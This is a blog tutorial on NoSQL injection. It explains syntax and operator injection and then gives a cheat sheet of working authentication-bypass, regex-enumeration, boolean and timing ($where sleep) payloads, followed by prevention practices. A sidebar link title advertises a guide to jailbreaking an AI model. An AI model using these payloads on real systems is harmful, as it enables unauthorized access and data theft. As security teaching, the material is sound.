Write
OneWriteup
  • Login
  • Trending
  • Articles
  • Blog
  • Tutorials
  • News
  • Research
  • Top 10 Lists
  • Case Studies
  • Writeup
  • Interviews
  • Personal Stories
  • Infographics
No Result
View All Result
  • Trending
  • Articles
  • Blog
  • Tutorials
  • News
  • Research
  • Top 10 Lists
  • Case Studies
  • Writeup
  • Interviews
  • Personal Stories
  • Infographics
No Result
View All Result
OneWriteup
No Result
View All Result

NoSQL Injection Complete Guide, Types, Examples, Cheat Sheet

FOUNDER by FOUNDER
July 18, 2024
Reading Time: 6 mins read
39
0
Share on FacebookShare on Twitter

What is NoSQL Injection?

NoSQL injection is a security vulnerability which is found on web application that are using NoSQL databases.

It is somewhere related to SQL Injection which can allow attackers to bypass authentication, extract the data, edit the data or  execute any malicious code in the database server.

Steps to Perform a NoSQL Injection Attack

  1. Identify the NoSQL Database
  2. Understand the Query Language
  3. Inject Malicious Payloads
  4. Monitor for Errors or Changes

Types of NOSQL Injection

There are mainly 2 types of NoSQL Injection

1. Syntax Injection

It involves breaking the NoSQL query that somehow trigger  a database error or some other detectable behavior which is unusual. It can be done by injecting additional characters or structures into the query to alter its intended syntax.

Example :

Consider a query to authenticate a user based on their username and password:

db.users.find({ username: userInput, password: passwordInput });

If an attacker manipulates the input to inject additional syntax:

userInput = "admin' || '1'=='1"
passwordInput = "password"

The resulting query will be:

db.users.find({ username: "admin' || '1'=='1", password: "password" });

Explanation:

Here, '1'='1' is always true, which could potentially allow the attacker to bypass authentication.

2. Operator Injection

It involves injecting NoSQL operators into queries to modify their logic.

Commonly used operators in NoSQL injection vulnerabilities include:

  1. $eq = Equal to
  2. $ne = Not equal to
  3. $gt = Greater than
  4. $regex = Regular expression
  5. $It = Less than
  6. $in = Check if the required data is present in a data structure such as pointer or array, etc.

Example :

Consider a query to authenticate a user based on their username and password:

db.users.find({ username: userInput, password: passwordInput });

If an attacker manipulates the input by adding additional operators:

userInput = { $ne: null }
passwordInput = { $ne: null }

The resulting query will be:

db.users.find({ username: { $ne: null }, password: { $ne: null } });

Explanation
  • The $ne: null operator means “not equal to null”.
  • The query db.users.find({ username: { $ne: null }, password: { $ne: null } }) will match any document where the username is not null and the password is not null.

In most databases, it’s very likely that username and password fields will never be null for valid user records. Therefore, this query would match all user documents where both fields are not null, effectively bypassing the authentication logic.

 

What tools can help detect NoSQL injection vulnerabilities?

  1. NoSQLMAP
  2. Nosql-Exploitation-Framework
  3. BurpSuite
  4. NoSQLi
  5. Nosql injection username and password enumeration script

 

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1
username[$regex]=^adm$password[$ne]=1
username[$regex]=.{25}&pass[$ne]=1
username[$eq]=admin&password[$ne]=1
username[$ne]=admin&pass[$lt]=s
username[$ne]=admin&pass[$gt]=s
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7
{ $where: "this.credits == this.debits" }

Basic authentication bypass 

In URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

In JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Syntax Injection Payloads

test||1==1

test%7C%7C1%3D%3D1

test||'1==1

test%7C%7C%271%3D%3D1

Blind Boolean Injection Payloads

{"$ne": -1}

{"$in": []}

{"$and": [ {"id": 5}, {"id": 6} ]}

{"$where": "return true"}

Timing Injection Payloads

{"$where": "sleep(100)"}

";sleep(100);"

Some most common payloads:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

What are the best practices for preventing NoSQL injection attacks?

  1. Input Validation and Sanitization:
    • Thoroughly validate and sanitize all user input before using it in NoSQL queries.
    • Use regular expressions, whitelists, and other techniques to filter out malicious code and prevent it from being executed by the database.
  2. Parameterized Queries and Prepared Statements:
    • Use parameterized queries or prepared statements to separate user input from the actual query logic.
    • This prevents attackers from injecting malicious code directly into the query.
  3. Least Privilege Access Control:
    • Implement the principle of least privilege, granting users only the minimum necessary permissions to perform their tasks.
    • This limits the damage an attacker can do if they gain access to a compromised user account.
  4. Secure Coding Practices:
    • Ensure developers are familiar with the specific NoSQL database being used and its query language syntax.
    • Avoid using dangerous operators like $where that can execute arbitrary code.
  5. Regular Security Audits and Updates:
    • Regularly audit the application and database for potential vulnerabilities.
    • Keep the NoSQL database and related software up-to-date with the latest security patches.
  6. Input Encoding:
    • Encode user input to prevent special characters from being interpreted as part of the query syntax.
    • Use techniques like encodeURIComponent() for URLs or libraries like querystring for form data.
  7. Whitelist Allowed Characters:
    • Define a whitelist of allowed characters for user input and reject any input that contains characters outside this whitelist.
    • This helps prevent the injection of NoSQL operators and other special characters.
  8. Leverage Built-in Security Features:
    • Take advantage of the security features provided by the NoSQL database, such as access control, authentication, and authorization mechanisms.

By implementing these best practices, organizations can significantly reduce the risk of NoSQL injection attacks and protect their sensitive data from unauthorized access or manipulation.

FOUNDER

FOUNDER

Cybersecurity aficionado committed to disseminating expertise, crafting articles that empower others to resolve errors and fortify online defenses with ease.

Recently Posted

DNS Based Data Exfiltration Using Burp Collaborator Client

DNS Based Data Exfiltration Using Burp Collaborator Client

August 6, 2025
122
Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

July 20, 2025
595
HOW To BECOME AN ETHICAL HACKER ROADMAP

Free Cybersecurity Roadmap for Ethical Hacking Career in 2025

November 15, 2024
854
How to use bloodhound tool for pentesting

How to use Bloodhound / Sharphound for Pentesting Active Directory?

November 6, 2024
656
Load More

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recommended

OSCP vs OSCP+: What New Changes Have Been Made?

OSCP vs OSCP+: What New Changes Have Been Made?

September 2, 2024
628
Cybersecurity-Non-tech-Skills-for-Success

Top 3 Non-Technical Skills for Cybersecurity Professionals to Advance Your Career

September 21, 2024
117

Popular Story

  • Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

    Jailbreak Gemini 2.5 Pro: A Guide to CLI Access and Jailbreaking in Kali Linux

    107 shares
    Share 43 Tweet 27
  • Top Cyber Security VAPT Interview Preparation Questions in 2024

    98 shares
    Share 39 Tweet 25
  • How to use Bloodhound / Sharphound for Pentesting Active Directory?

    118 shares
    Share 47 Tweet 30
  • NoSQL Injection Complete Guide, Types, Examples, Cheat Sheet

    54 shares
    Share 22 Tweet 14
  • How to Configure OpenVPN Server for Multi Clients Setup in Windows?

    48 shares
    Share 19 Tweet 12
OneWriteup

Discover expert cybersecurity articles, tutorials, and the latest trends to protect your digital world.

  • OneWriteup Labs
  • About Us
  • Feedback
  • Contact Us
  • Report
  • Privacy Policy
  • Community Guidelines
  • Terms Of Service

© 2024 OneWriteup

No Result
View All Result
  • Trending
  • Articles
  • News
  • Blog
  • Tutorials
  • Research
  • Top 10 Lists
  • Case Studies
  • Interviews
  • Login

© 2024 OneWriteup

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In